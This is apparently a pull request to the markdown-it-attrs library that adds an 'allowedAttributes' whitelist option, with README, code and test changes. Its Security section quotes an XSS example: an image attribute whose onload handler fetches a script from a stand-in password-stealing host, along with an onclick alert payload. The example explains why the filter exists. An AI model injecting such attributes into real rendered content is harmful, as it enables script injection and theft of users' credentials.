Repository: arve0/markdown-it-attrs
Pull request #84 (2019-05-14 17:55:28)

Add option "allowedAttributes"
This adds a new option "allowedAttributes" that can be an array of either strings or regular expressions. Attributes added in the editor will be filtered accordingly.

So, in order to only allow `target` and `class` attributes as well as any custom `data-*` attributes. one could set the option

```js
allowedAttributes: ['target', 'class', /^data-/]
```


Patch:
diff --git a/README.md b/README.md
index 317c224..286e748 100644
--- a/README.md
+++ b/README.md
@@ -50,16 +50,6 @@ Output:
 ```
 
 
-## Security
-**NOTE!**
-
-`markdown-it-attrs` does not validate attribute input. You should validate your output HTML if security is a concern (use a whitelist).
-
-For example, a user may insert rogue attributes like this:
-```js
-![](img.png){onload=fetch(https://imstealingyourpasswords.com/script.js).then(...)}
-```
-
 ## Install
 
 ```
@@ -73,7 +63,12 @@ $ npm install --save markdown-it-attrs
 var md = require('markdown-it')();
 var markdownItAttrs = require('markdown-it-attrs');
 
-md.use(markdownItAttrs);
+md.use(markdownItAttrs, {
+  // optional, these are default options
+  leftDelimiter: '{',
+  rightDelimiter: '}',
+  allowedAttributes: []  // empty array = all attributes are allowed
+});
 
 var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
 var res = md.render(src);
@@ -84,6 +79,31 @@ console.log(res);
 [demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/)
 
 
+## Security
+A user may insert rogue attributes like this:
+```js
+![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}
+```
+
+If security is a concern, use an attribute whitelist:
+
+```js
+md.use(markdownItAttrs, {
+  allowedAttributes: ['id', 'class', /^regex.*$/]
+});
+```
+
+Now only `id`, `class` and attributes beginning with `regex` are allowed:
+
+```md
+text {#red .green regex=allowed onclick=alert('hello')}
+```
+
+Output:
+```html
+<p id="red" class="green" regex="allowed">text</p>
+```
+
 ## Ambiguity
 When class can be applied to both inline or block element, inline element will take precedence:
 ```md
diff --git a/index.js b/index.js
index 2a4e2e6..7b0c63a 100644
--- a/index.js
+++ b/index.js
@@ -4,7 +4,8 @@ const patternsConfig = require('./patterns.js');
 
 const defaultOptions = {
   leftDelimiter: '{',
-  rightDelimiter: '}'
+  rightDelimiter: '}',
+  allowedAttributes: []
 };
 
 module.exports = function attributes(md, options) {
diff --git a/utils.js b/utils.js
index 8188a6d..f447879 100644
--- a/utils.js
+++ b/utils.js
@@ -89,7 +89,25 @@ exports.getAttrs = function (str, start, options) {
     }
     value += char_;
   }
-  return attrs;
+
+  if (options.allowedAttributes && options.allowedAttributes.length) {
+    let allowedAttributes = options.allowedAttributes;
+
+    return attrs.filter(function (attrPair) {
+      let attr = attrPair[0];
+
+      function isAllowedAttribute (allowedAttribute) {
+        return (attr === allowedAttribute
+          || (allowedAttribute instanceof RegExp && allowedAttribute.test(attr))
+        );
+      }
+
+      return allowedAttributes.some(isAllowedAttribute);
+    });
+
+  } else {
+    return attrs;
+  }
 };
 
 /**


Test patch:
diff --git a/test.js b/test.js
index d069bd0..bcdf416 100644
--- a/test.js
+++ b/test.js
@@ -327,9 +327,23 @@ function describeTestsWithOptions(options, postText) {
       expected = '<hr id="id">\n';
       assert.equal(md.render(replaceDelimiters(src, options)), expected);
     });
+
+    it('should restrict attributes by allowedAttributes (string)', () => {
+      md = Md().use(attrs, Object.assign({ allowedAttributes: ['id', 'class'] }, options));
+      src = 'text {.someclass #someid attr=notAllowed}';
+      expected = '<p class="someclass" id="someid">text</p>\n';
+      assert.equal(md.render(replaceDelimiters(src, options)), expected);
+    });
+
+    it('should restrict attributes by allowedAttributes (regex)', () => {
+      md = Md().use(attrs, Object.assign({ allowedAttributes: [/^(class|attr)$/] }, options));
+      src = 'text {.someclass #someid attr=allowed}';
+      expected = '<p class="someclass" attr="allowed">text</p>\n';
+      assert.equal(md.render(replaceDelimiters(src, options)), expected);
+    });
   });
 }
 
 function replaceDelimiters(text, options) {
   return text.replace(/{/g, options.leftDelimiter).replace(/}/g, options.rightDelimiter);
-}
\ No newline at end of file
+}